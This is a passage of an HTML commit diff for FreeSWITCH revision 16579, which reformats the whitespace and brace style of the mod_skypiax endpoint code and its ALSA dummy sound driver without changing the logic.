- /*.on_reporting*/ NULL,
- /*.on_destroy*/ channel_on_destroy
-
</del><ins>+        /*.on_consume_media */ NULL,
+        /*.on_hibernate */ NULL,
+        /*.on_reset */ NULL,
+        /*.on_park */ NULL,
+        /*.on_reporting */ NULL,
+        /*.on_destroy */ channel_on_destroy
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> switch_io_routines_t reference_io_routines = {
</span><span class="lines">@@ -591,13 +590,13 @@
</span><span class="cx">                 }
</span><span class="cx">                 switch_yield(20000);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* Free dynamically allocated strings */
</span><span class="cx">         switch_safe_free(globals.dialplan);
</span><span class="cx">         switch_safe_free(globals.codec_string);
</span><span class="cx">         switch_safe_free(globals.codec_rates_string);
</span><span class="cx">         switch_safe_free(globals.ip);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_skypiaxalsadummyc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/alsa/dummy.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/alsa/dummy.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/alsa/dummy.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -18,7 +18,7 @@
</span><span class="cx"> *
</span><span class="cx"> */
</span><span class="cx">
</span><del>-#include <sound/driver.h> //giova
</del><ins>+#include <sound/driver.h>                //giova
</ins><span class="cx"> #include <linux/init.h>
</span><span class="cx"> #include <linux/err.h>
</span><span class="cx"> #include <linux/platform_device.h>
</span><span class="lines">@@ -44,7 +44,7 @@
</span><span class="cx"> #define MAX_PCM_SUBSTREAMS        128
</span><span class="cx"> #define MAX_MIDI_DEVICES        2
</span><span class="cx">
</span><del>-#if 0 /* emu10k1 emulation */
</del><ins>+#if 0                                                        /* emu10k1 emulation */
</ins><span class="cx"> #define MAX_BUFFER_SIZE                (128 * 1024)
</span><span class="cx"> static int emu10k1_playback_constraints(struct snd_pcm_runtime *runtime)
</span><span class="cx"> {
</span><span class="lines">@@ -57,10 +57,11 @@
</span><span class="cx">                 return err;
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><ins>+
</ins><span class="cx"> #define add_playback_constraints emu10k1_playback_constraints
</span><span class="cx"> #endif
</span><span class="cx">
</span><del>-#if 0 /* RME9652 emulation */
</del><ins>+#if 0                                                        /* RME9652 emulation */
</ins><span class="cx"> #define MAX_BUFFER_SIZE                (26 * 64 * 1024)
</span><span class="cx"> #define USE_FORMATS                SNDRV_PCM_FMTBIT_S32_LE
</span><span class="cx"> #define USE_CHANNELS_MIN        26
</span><span class="lines">@@ -69,7 +70,7 @@
</span><span class="cx"> #define USE_PERIODS_MAX                2
</span><span class="cx"> #endif
</span><span class="cx">
</span><del>-#if 0 /* ICE1712 emulation */
</del><ins>+#if 0                                                        /* ICE1712 emulation */
</ins><span class="cx"> #define MAX_BUFFER_SIZE                (256 * 1024)
</span><span class="cx"> #define USE_FORMATS                SNDRV_PCM_FMTBIT_S32_LE
</span><span class="cx"> #define USE_CHANNELS_MIN        10
</span><span class="lines">@@ -78,7 +79,7 @@
</span><span class="cx"> #define USE_PERIODS_MAX                1024
</span><span class="cx"> #endif
</span><span class="cx">
</span><del>-#if 0 /* UDA1341 emulation */
</del><ins>+#if 0                                                        /* UDA1341 emulation */
</ins><span class="cx"> #define MAX_BUFFER_SIZE                (16380)
</span><span class="cx"> #define USE_FORMATS                SNDRV_PCM_FMTBIT_S16_LE
</span><span class="cx"> #define USE_CHANNELS_MIN        2
</span><span class="lines">@@ -87,7 +88,7 @@
</span><span class="cx"> #define USE_PERIODS_MAX                255
</span><span class="cx"> #endif
</span><span class="cx">
</span><del>-#if 0 /* simple AC97 bridge (intel8x0) with 48kHz AC97 only codec */
</del><ins>+#if 0                                                        /* simple AC97 bridge (intel8x0) with 48kHz AC97 only codec */
</ins><span class="cx"> #define USE_FORMATS                SNDRV_PCM_FMTBIT_S16_LE
</span><span class="cx"> #define USE_CHANNELS_MIN        2
</span><span class="cx"> #define USE_CHANNELS_MAX        2
</span><span class="lines">@@ -96,12 +97,12 @@
</span><span class="cx"> #define USE_RATE_MAX                48000
</span><span class="cx"> #endif
</span><span class="cx">
</span><del>-#if 0 /* CA0106 */
</del><ins>+#if 0                                                        /* CA0106 */
</ins><span class="cx"> #define USE_FORMATS                SNDRV_PCM_FMTBIT_S16_LE
</span><span class="cx"> #define USE_CHANNELS_MIN        2
</span><span class="cx"> #define USE_CHANNELS_MAX        2
</span><del>-#define USE_RATE                (SNDRV_PCM_RATE_48000|SNDRV_PCM_RATE_96000|SNDRV_PCM_RATE_192000)
-#define USE_RATE_MIN                48000
</del><ins>+#define USE_RATE                (SNDRV_PCM_RATE_48000|SNDRV_PCM_RATE_96000|SNDRV_PCM_RATE_192000)
+#define USE_RATE_MIN                48000
</ins><span class="cx"> #define USE_RATE_MAX                192000
</span><span class="cx"> #define MAX_BUFFER_SIZE                ((65536-64)*8)
</span><span class="cx"> #define MAX_PERIOD_SIZE                (65536-64)
</span><span class="lines">@@ -146,9 +147,10 @@
</span><span class="cx">
</span><span class="cx"> static int index[SNDRV_CARDS] = SNDRV_DEFAULT_IDX;        /* Index 0-MAX */
</span><span class="cx"> static char *id[SNDRV_CARDS] = SNDRV_DEFAULT_STR;        /* ID for this card */
</span><del>-static int enable[SNDRV_CARDS] = {1, [1 ... (SNDRV_CARDS - 1)] = 0};
-static int pcm_devs[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 1};
-static int pcm_substreams[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 128};
</del><ins>+static int enable[SNDRV_CARDS] = { 1,[1...(SNDRV_CARDS - 1)] = 0 };
+static int pcm_devs[SNDRV_CARDS] = {[0...(SNDRV_CARDS - 1)] = 1 };
+static int pcm_substreams[SNDRV_CARDS] = {[0...(SNDRV_CARDS - 1)] = 128 };
+
</ins><span class="cx"> //static int midi_devs[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 2};
</span><span class="cx">
</span><span class="cx"> module_param_array(index, int, NULL, 0444);
</span><span class="lines">@@ -165,14 +167,14 @@
</span><span class="cx"> //MODULE_PARM_DESC(midi_devs, "MIDI devices # (0-2) for dummy driver.");
</span><span class="cx">
</span><span class="cx"> static struct platform_device *devices[SNDRV_CARDS];
</span><del>-static struct timer_list giovatimer; //giova
-static int giovastarted=0;
-static int giovaindex=0;
</del><ins>+static struct timer_list giovatimer;        //giova
+static int giovastarted = 0;
+static int giovaindex = 0;
</ins><span class="cx"> static spinlock_t giovalock;
</span><span class="cx"> struct giovadpcm {
</span><span class="cx">         struct snd_pcm_substream *substream;
</span><span class="cx">         struct snd_dummy_pcm *dpcm;
</span><del>-        int        started;
</del><ins>+        int started;
</ins><span class="cx"> };
</span><span class="cx"> static struct giovadpcm giovadpcms[MAX_PCM_SUBSTREAMS];
</span><span class="cx">
</span><span class="lines">@@ -188,8 +190,8 @@
</span><span class="cx">         struct snd_card *card;
</span><span class="cx">         struct snd_pcm *pcm;
</span><span class="cx">         spinlock_t mixer_lock;
</span><del>-        int mixer_volume[MIXER_ADDR_LAST+1][2];
-        int capture_source[MIXER_ADDR_LAST+1][2];
</del><ins>+        int mixer_volume[MIXER_ADDR_LAST + 1][2];
+        int capture_source[MIXER_ADDR_LAST + 1][2];
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> struct snd_dummy_pcm {
</span><span class="lines">@@ -208,50 +210,48 @@
</span><span class="cx">
</span><span class="cx"> static inline void snd_card_dummy_pcm_timer_start(struct snd_dummy_pcm *dpcm)
</span><span class="cx"> {
</span><del>-int i;
-int found=0;
</del><ins>+        int i;
+        int found = 0;
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx"> //printk("giova: 1 timer_start %d %p\n", __LINE__, dpcm);
</span><del>-for(i=0; i<giovaindex+1; i++){
-        if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
-                printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
</del><ins>+        for (i = 0; i < giovaindex + 1; i++) {
+                if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
+                        printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
+                }
+
+                if (giovadpcms[i].dpcm == dpcm) {
+                        giovadpcms[i].started = 1;
+                        found = 1;
+                }
</ins><span class="cx">         }
</span><ins>+        if (!found) {
+                printk("skypiax: start, NOT found?\n");
+        }
</ins><span class="cx">
</span><del>-if(giovadpcms[i].dpcm == dpcm){
-        giovadpcms[i].started=1;
-        found=1;
-}
-}
-if(!found){
-        printk("skypiax: start, NOT found?\n");
-}
-
-
-
</del><span class="cx"> //printk("giova: 2 timer_start %d %p\n", __LINE__, dpcm);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static inline void snd_card_dummy_pcm_timer_stop(struct snd_dummy_pcm *dpcm)
</span><span class="cx"> {
</span><span class="cx">         //del_timer(&dpcm->timer);
</span><del>-int i;
-int found=0;
</del><ins>+        int i;
+        int found = 0;
</ins><span class="cx">
</span><span class="cx"> //printk("giova: 1 timer_stop %d %p\n", __LINE__, dpcm);
</span><del>-for(i=0; i<giovaindex +1; i++){
</del><ins>+        for (i = 0; i < giovaindex + 1; i++) {
</ins><span class="cx">
</span><del>-        if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
-                printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
</del><ins>+                if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
+                        printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
+                }
+                if (giovadpcms[i].dpcm == dpcm) {
+                        giovadpcms[i].started = 0;
+                        found = 1;
+                }
</ins><span class="cx">         }
</span><del>-if(giovadpcms[i].dpcm == dpcm){
-        giovadpcms[i].started=0;
-        found=1;
-}
-}
-if(!found){
-        //printk("skypiax: stop, NOT found?\n");
-        } else {
</del><ins>+        if (!found) {
+                //printk("skypiax: stop, NOT found?\n");
+        } else {
</ins><span class="cx">                 //printk("skypiax: stop, YES found!\n");
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -294,8 +294,7 @@
</span><span class="cx">         struct snd_dummy_pcm *dpcm = runtime->private_data;
</span><span class="cx">         int bps;
</span><span class="cx">
</span><del>-        bps = snd_pcm_format_width(runtime->format) * runtime->rate *
-                runtime->channels / 8;
</del><ins>+        bps = snd_pcm_format_width(runtime->format) * runtime->rate * runtime->channels / 8;
</ins><span class="cx">
</span><span class="cx">         if (bps <= 0)
</span><span class="cx">                 return -EINVAL;
</span><span class="lines">@@ -306,8 +305,7 @@
</span><span class="cx">         dpcm->pcm_period_size = snd_pcm_lib_period_bytes(substream);
</span><span class="cx">         dpcm->pcm_irq_pos = 0;
</span><span class="cx">         dpcm->pcm_buf_pos = 0;
</span><del>-        snd_pcm_format_set_silence(runtime->format, runtime->dma_area,
-                        bytes_to_samples(runtime, runtime->dma_bytes));
</del><ins>+        snd_pcm_format_set_silence(runtime->format, runtime->dma_area, bytes_to_samples(runtime, runtime->dma_bytes));
</ins><span class="cx">
</span><span class="cx"> //printk("giova: prepare %d %p\n", __LINE__, dpcm);
</span><span class="cx">         return 0;
</span><span class="lines">@@ -316,49 +314,49 @@
</span><span class="cx"> static void snd_card_dummy_pcm_timer_function(unsigned long data)
</span><span class="cx"> {
</span><span class="cx">         //struct snd_dummy_pcm *dpcm = (struct snd_dummy_pcm *)data;
</span><del>-        struct snd_dummy_pcm *dpcm=NULL;
</del><ins>+        struct snd_dummy_pcm *dpcm = NULL;
</ins><span class="cx">         //unsigned long flags;
</span><del>-int i;
-        
</del><ins>+        int i;
</ins><span class="cx">
</span><del>-        giovatimer.expires = (HZ/100) + jiffies;
</del><ins>+
+        giovatimer.expires = (HZ / 100) + jiffies;
</ins><span class="cx">         add_timer(&giovatimer);
</span><span class="cx">
</span><del>-for(i=0; i< giovaindex +1; i++) {
</del><ins>+        for (i = 0; i < giovaindex + 1; i++) {
</ins><span class="cx">
</span><del>-        if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
-                printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
-        }
</del><ins>+                if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
+                        printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
+                }
</ins><span class="cx"> //printk("giova: timer_func %d i=%d\n", __LINE__, i);
</span><span class="cx">
</span><del>-if(giovadpcms[i].started != 1)
-        continue;
-dpcm = giovadpcms[i].dpcm;
-if(dpcm==NULL){
-        printk("giova: timer_func %d %d NULL: continue\n", __LINE__, i);
-        continue;
-        }
-        if(in_irq())
-                printk("giova: timer_func %d %d we are in HARDWARE IRQ\n", __LINE__, i);
-        //if(in_softirq())
</del><ins>+                if (giovadpcms[i].started != 1)
+                        continue;
+                dpcm = giovadpcms[i].dpcm;
+                if (dpcm == NULL) {
+                        printk("giova: timer_func %d %d NULL: continue\n", __LINE__, i);
+                        continue;
+                }
+                if (in_irq())
+                        printk("giova: timer_func %d %d we are in HARDWARE IRQ\n", __LINE__, i);
+                //if(in_softirq())
</ins><span class="cx">                 //printk("giova: timer_func %d %d we are in SOFT IRQ\n", __LINE__, i);
</span><span class="cx"> //printk("giova: timer_func %d %d\n", __LINE__, i);
</span><del>-        //spin_lock_irqsave(&dpcm->lock, flags);
-        spin_lock_bh(&dpcm->lock);
-        dpcm->pcm_irq_pos += dpcm->pcm_bps * (HZ/100);
-        dpcm->pcm_buf_pos += dpcm->pcm_bps * (HZ/100);
-        dpcm->pcm_buf_pos %= dpcm->pcm_buffer_size * dpcm->pcm_hz;
-        if (dpcm->pcm_irq_pos >= dpcm->pcm_period_size * dpcm->pcm_hz) {
-                dpcm->pcm_irq_pos %= dpcm->pcm_period_size * dpcm->pcm_hz;
-                //spin_unlock_irqrestore(&dpcm->lock, flags);
-                spin_unlock_bh(&dpcm->lock);
-                snd_pcm_period_elapsed(dpcm->substream);
-        } else {
-                //spin_unlock_irqrestore(&dpcm->lock, flags);
-                spin_unlock_bh(&dpcm->lock);
</del><ins>+                //spin_lock_irqsave(&dpcm->lock, flags);
+                spin_lock_bh(&dpcm->lock);
+                dpcm->pcm_irq_pos += dpcm->pcm_bps * (HZ / 100);
+                dpcm->pcm_buf_pos += dpcm->pcm_bps * (HZ / 100);
+                dpcm->pcm_buf_pos %= dpcm->pcm_buffer_size * dpcm->pcm_hz;
+                if (dpcm->pcm_irq_pos >= dpcm->pcm_period_size * dpcm->pcm_hz) {
+                        dpcm->pcm_irq_pos %= dpcm->pcm_period_size * dpcm->pcm_hz;
+                        //spin_unlock_irqrestore(&dpcm->lock, flags);
+                        spin_unlock_bh(&dpcm->lock);
+                        snd_pcm_period_elapsed(dpcm->substream);
+                } else {
+                        //spin_unlock_irqrestore(&dpcm->lock, flags);
+                        spin_unlock_bh(&dpcm->lock);
+                }
</ins><span class="cx">         }
</span><span class="cx"> }
</span><del>-}
</del><span class="cx">
</span><span class="cx"> static snd_pcm_uframes_t snd_card_dummy_pcm_pointer(struct snd_pcm_substream *substream)
</span><span class="cx"> {
</span><span class="lines">@@ -367,76 +365,71 @@
</span><span class="cx">
</span><span class="cx"> //printk("giova: pointer %d %p\n", __LINE__, dpcm);
</span><span class="cx">         //return bytes_to_frames(runtime, dpcm->pcm_buf_pos / dpcm->pcm_hz);
</span><del>-        return (dpcm->pcm_buf_pos / dpcm->pcm_hz)/2;
</del><ins>+        return (dpcm->pcm_buf_pos / dpcm->pcm_hz) / 2;
</ins><span class="cx"> }
</span><span class="cx">
</span><del>-static struct snd_pcm_hardware snd_card_dummy_playback =
-{
-        .info =                        (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
-                                 SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
-        .formats =                USE_FORMATS,
-        .rates =                USE_RATE,
-        .rate_min =                USE_RATE_MIN,
-        .rate_max =                USE_RATE_MAX,
-        .channels_min =                USE_CHANNELS_MIN,
-        .channels_max =                USE_CHANNELS_MAX,
-        .buffer_bytes_max =        MAX_BUFFER_SIZE,
-        .period_bytes_min =        64,
-        .period_bytes_max =        MAX_PERIOD_SIZE,
-        .periods_min =                USE_PERIODS_MIN,
-        .periods_max =                USE_PERIODS_MAX,
-        .fifo_size =                0,
</del><ins>+static struct snd_pcm_hardware snd_card_dummy_playback = {
+        .info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
+        .formats = USE_FORMATS,
+        .rates = USE_RATE,
+        .rate_min = USE_RATE_MIN,
+        .rate_max = USE_RATE_MAX,
+        .channels_min = USE_CHANNELS_MIN,
+        .channels_max = USE_CHANNELS_MAX,
+        .buffer_bytes_max = MAX_BUFFER_SIZE,
+        .period_bytes_min = 64,
+        .period_bytes_max = MAX_PERIOD_SIZE,
+        .periods_min = USE_PERIODS_MIN,
+        .periods_max = USE_PERIODS_MAX,
+        .fifo_size = 0,
</ins><span class="cx"> };
</span><span class="cx">
</span><del>-static struct snd_pcm_hardware snd_card_dummy_capture =
-{
-        .info =                        (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
-                                 SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
-        .formats =                USE_FORMATS,
-        .rates =                USE_RATE,
-        .rate_min =                USE_RATE_MIN,
-        .rate_max =                USE_RATE_MAX,
-        .channels_min =                USE_CHANNELS_MIN,
-        .channels_max =                USE_CHANNELS_MAX,
-        .buffer_bytes_max =        MAX_BUFFER_SIZE,
-        .period_bytes_min =        64,
-        .period_bytes_max =        MAX_PERIOD_SIZE,
-        .periods_min =                USE_PERIODS_MIN,
-        .periods_max =                USE_PERIODS_MAX,
-        .fifo_size =                0,
</del><ins>+static struct snd_pcm_hardware snd_card_dummy_capture = {
+        .info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
+        .formats = USE_FORMATS,
+        .rates = USE_RATE,
+        .rate_min = USE_RATE_MIN,
+        .rate_max = USE_RATE_MAX,
+        .channels_min = USE_CHANNELS_MIN,
+        .channels_max = USE_CHANNELS_MAX,
+        .buffer_bytes_max = MAX_BUFFER_SIZE,
+        .period_bytes_min = 64,
+        .period_bytes_max = MAX_PERIOD_SIZE,
+        .periods_min = USE_PERIODS_MIN,
+        .periods_max = USE_PERIODS_MAX,
+        .fifo_size = 0,
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> static void snd_card_dummy_runtime_free(struct snd_pcm_runtime *runtime)
</span><span class="cx"> {
</span><del>-int i;
</del><ins>+        int i;
</ins><span class="cx"> //int found=0;
</span><span class="cx">
</span><span class="cx"> //printk("snd_card_dummy_runtime_free giova 1 giovaindex=%d dpcm=%p runtime=%p\n", giovaindex, runtime->private_data, runtime);
</span><span class="cx">         spin_lock_bh(&giovalock);
</span><span class="cx">
</span><del>-for(i=0; i < giovaindex; i++) {
</del><ins>+        for (i = 0; i < giovaindex; i++) {
</ins><span class="cx">
</span><del>-        if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
-                printk("giova, %s:%d, i=%d, giovaindex=%d \n", __FILE__, __LINE__, i, giovaindex);
</del><ins>+                if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
+                        printk("giova, %s:%d, i=%d, giovaindex=%d \n", __FILE__, __LINE__, i, giovaindex);
+                }
+                //if((giovadpcms[i].substream == substream) && (giovadpcms[i].dpcm == dpcm)){
+                if ((giovadpcms[i].dpcm == runtime->private_data)) {
+                        //printk("giova, %s:%d, i=%d, giovaindex=%d %p==%p YES I AM!!!!\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
+                        //giovadpcms[i].dpcm = NULL;
+                        //giovadpcms[i].substream = NULL;
+                        giovadpcms[i].started = 0;
+                        //break;
+                } else {
+                        //printk("giova, %s:%d, i=%d, giovaindex=%d %p!=%p NOT ME\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
+                }
</ins><span class="cx">         }
</span><del>-        //if((giovadpcms[i].substream == substream) && (giovadpcms[i].dpcm == dpcm)){
-        if((giovadpcms[i].dpcm == runtime->private_data)){
-                //printk("giova, %s:%d, i=%d, giovaindex=%d %p==%p YES I AM!!!!\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
-                //giovadpcms[i].dpcm = NULL;
-                //giovadpcms[i].substream = NULL;
-                giovadpcms[i].started = 0;
-                //break;
-        } else {
-                //printk("giova, %s:%d, i=%d, giovaindex=%d %p!=%p NOT ME\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
-        }
-}
</del><span class="cx">
</span><span class="cx">         spin_unlock_bh(&giovalock);
</span><span class="cx">         kfree(runtime->private_data);
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static int snd_card_dummy_hw_params(struct snd_pcm_substream *substream,
-                                 struct snd_pcm_hw_params *hw_params)
</del><ins>+static int snd_card_dummy_hw_params(struct snd_pcm_substream *substream, struct snd_pcm_hw_params *hw_params)
</ins><span class="cx"> {
</span><span class="cx">         return snd_pcm_lib_malloc_pages(substream, params_buffer_bytes(hw_params));
</span><span class="cx"> }
</span><span class="lines">@@ -450,13 +443,13 @@
</span><span class="cx"> {
</span><span class="cx">         struct snd_dummy_pcm *dpcm;
</span><span class="cx">         int i;
</span><del>-        int found=0;
</del><ins>+        int found = 0;
</ins><span class="cx">
</span><span class="cx">         //printk("giova, %s:%d, i=%d, giovaindex=%d %p==%p YES I AM!!!!\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
</span><span class="cx">         //printk("giova, %s:%d, giovaindex=%d\n", __FILE__, __LINE__, giovaindex);
</span><span class="cx">         dpcm = kzalloc(sizeof(*dpcm), GFP_KERNEL);
</span><span class="cx">         //printk("giova, %s:%d, giovaindex=%d\n", __FILE__, __LINE__, giovaindex);
</span><del>-        if (! dpcm){
</del><ins>+        if (!dpcm) {
</ins><span class="cx">                 //spin_unlock_bh(&giovalock);
</span><span class="cx">                 printk("giova, %s:%d, giovaindex=%d NO MEMORY!!!!\n", __FILE__, __LINE__, giovaindex);
</span><span class="cx">                 return dpcm;
</span><span class="lines">@@ -470,49 +463,48 @@
</span><span class="cx">
</span><span class="cx">         spin_lock_bh(&giovalock);
</span><span class="cx">         //printk("giova 1 giovaindex=%d dpcm=%p substream=%p sizeof=%lu\n", giovaindex, dpcm, substream, sizeof(*dpcm));
</span><del>-        for(i=0; i < giovaindex; i++) {
</del><ins>+        for (i = 0; i < giovaindex; i++) {
</ins><span class="cx">
</span><del>-        if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
-                printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
-        }
</del><ins>+                if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
+                        printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
+                }
</ins><span class="cx">                 //if((giovadpcms[i].substream == substream) && (giovadpcms[i].dpcm == dpcm))
</span><del>-                if((giovadpcms[i].substream == substream)){
-                        found=1;
</del><ins>+                if ((giovadpcms[i].substream == substream)) {
+                        found = 1;
</ins><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if(!found){
</del><ins>+        if (!found) {
</ins><span class="cx">
</span><del>-                giovadpcms[giovaindex].substream=substream;
</del><ins>+                giovadpcms[giovaindex].substream = substream;
</ins><span class="cx">                 giovaindex++;
</span><span class="cx">                 //printk("giova 2 giovaindex=%d dpcm=%p substream=%p\n", giovaindex, dpcm, substream);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>-        found =0;
-        for(i=0; i < giovaindex; i++) {
</del><ins>+        found = 0;
+        for (i = 0; i < giovaindex; i++) {
</ins><span class="cx">
</span><del>-        if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
-                printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
-        }
-                if(giovadpcms[i].substream == substream){
-                        giovadpcms[i].dpcm=dpcm;
-                        giovadpcms[i].started=0;
</del><ins>+                if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
+                        printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
+                }
+                if (giovadpcms[i].substream == substream) {
+                        giovadpcms[i].dpcm = dpcm;
+                        giovadpcms[i].started = 0;
</ins><span class="cx">                         found = 1;
</span><span class="cx">                         //printk("giova 3 giovaindex=%d dpcm=%p substream=%p\n", giovaindex, dpcm, substream);
</span><span class="cx">                         break;
</span><del>-                }
</del><ins>+                }
</ins><span class="cx">
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         spin_unlock_bh(&giovalock);
</span><del>-        if(!found) {
</del><ins>+        if (!found) {
</ins><span class="cx">                 printk("skypiax giovaindex=%d NOT found????\n", giovaindex);
</span><span class="cx">         }
</span><del>-
</del><span class="cx">         //printk("giova, %s:%d, giovaindex=%d\n", __FILE__, __LINE__, giovaindex);
</span><span class="cx">         return dpcm;
</span><span class="cx"> }
</span><span class="lines">@@ -535,7 +527,7 @@
</span><span class="cx">                 runtime->hw.info |= SNDRV_PCM_INFO_NONINTERLEAVED;
</span><span class="cx">         }
</span><span class="cx">         if (substream->pcm->device & 2)
</span><del>-                runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP|SNDRV_PCM_INFO_MMAP_VALID);
</del><ins>+                runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_MMAP_VALID);
</ins><span class="cx">         err = add_playback_constraints(runtime);
</span><span class="cx">         if (err < 0)
</span><span class="cx">                 return err;
</span><span class="lines">@@ -561,7 +553,7 @@
</span><span class="cx">                 runtime->hw.info |= SNDRV_PCM_INFO_NONINTERLEAVED;
</span><span class="cx">         }
</span><span class="cx">         if (substream->pcm->device & 2)
</span><del>-                runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP|SNDRV_PCM_INFO_MMAP_VALID);
</del><ins>+                runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_MMAP_VALID);
</ins><span class="cx">         err = add_capture_constraints(runtime);
</span><span class="cx">         if (err < 0)
</span><span class="cx">                 return err;
</span><span class="lines">@@ -584,35 +576,33 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static struct snd_pcm_ops snd_card_dummy_playback_ops = {
</span><del>-        .open =                        snd_card_dummy_playback_open,
-        .close =                snd_card_dummy_playback_close,
-        .ioctl =                snd_pcm_lib_ioctl,
-        .hw_params =                snd_card_dummy_hw_params,
-        .hw_free =                snd_card_dummy_hw_free,
-        .prepare =                snd_card_dummy_pcm_prepare,
-        .trigger =                snd_card_dummy_pcm_trigger,
-        .pointer =                snd_card_dummy_pcm_pointer,
</del><ins>+        .open = snd_card_dummy_playback_open,
+        .close = snd_card_dummy_playback_close,
+        .ioctl = snd_pcm_lib_ioctl,
+        .hw_params = snd_card_dummy_hw_params,
+        .hw_free = snd_card_dummy_hw_free,
+        .prepare = snd_card_dummy_pcm_prepare,
+        .trigger = snd_card_dummy_pcm_trigger,
+        .pointer = snd_card_dummy_pcm_pointer,
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> static struct snd_pcm_ops snd_card_dummy_capture_ops = {
</span><del>-        .open =                        snd_card_dummy_capture_open,
-        .close =                snd_card_dummy_capture_close,
-        .ioctl =                snd_pcm_lib_ioctl,
-        .hw_params =                snd_card_dummy_hw_params,
-        .hw_free =                snd_card_dummy_hw_free,
-        .prepare =                snd_card_dummy_pcm_prepare,
-        .trigger =                snd_card_dummy_pcm_trigger,
-        .pointer =                snd_card_dummy_pcm_pointer,
</del><ins>+        .open = snd_card_dummy_capture_open,
+        .close = snd_card_dummy_capture_close,
+        .ioctl = snd_pcm_lib_ioctl,
+        .hw_params = snd_card_dummy_hw_params,
+        .hw_free = snd_card_dummy_hw_free,
+        .prepare = snd_card_dummy_pcm_prepare,
+        .trigger = snd_card_dummy_pcm_trigger,
+        .pointer = snd_card_dummy_pcm_pointer,
</ins><span class="cx"> };
</span><span class="cx">
